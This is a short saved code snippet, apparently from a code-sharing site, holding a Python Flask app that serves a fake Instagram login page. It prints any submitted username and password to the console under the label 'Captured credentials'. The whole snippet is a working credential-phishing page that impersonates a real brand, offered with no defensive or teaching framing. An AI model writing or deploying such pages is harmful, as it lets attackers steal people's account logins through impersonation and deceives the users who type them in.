pyhton
Tue Jan 21 2025 05:01:56 GMT+0000 (Coordinated Universal Time)
Saved by @Xyfer_
from flask import Flask, render_template_string, request app = Flask(__name__) # HTML Template html_template = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Instagram</title> <style> body { font-family: Arial, sans-serif; background-color: #fafafa; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .container { max-width: 400px; background: #fff; padding: 20px; border: 1px solid #dbdbdb; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); border-radius: 10px; } .login-form input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #dbdbdb; border-radius: 5px; } .login-form button { width: 100%; padding: 10px; background: #0095f6; color: white; border: none; border-radius: 5px; cursor: pointer; } .login-form button:hover { background: #007ac1; } </style> </head> <body> <div class="container"> <div class="login-container"> <h2>Instagram</h2> <form class="login-form" method="POST" action="/login"> <input type="text" name="username" placeholder="Phone number, username, or email" required> <input type="password" name="password" placeholder="Password" required> <button type="submit">Log In</button> </form> </div> </div> </body> </html> """ # Route to serve the login page @app.route('/') def home(): return render_template_string(html_template) # Route to handle login form submission @app.route('/login', methods=['POST']) def login(): # Get the user input from the form username = request.form.get('username') password = request.form.get('password') # Log the credentials to the console print(f"Captured credentials: Username={username}, Password={password}") # Display a response message in the browser return "Credentials received! Check your console for the captured input." if __name__ == "__main__": app.run(debug=True)
Comments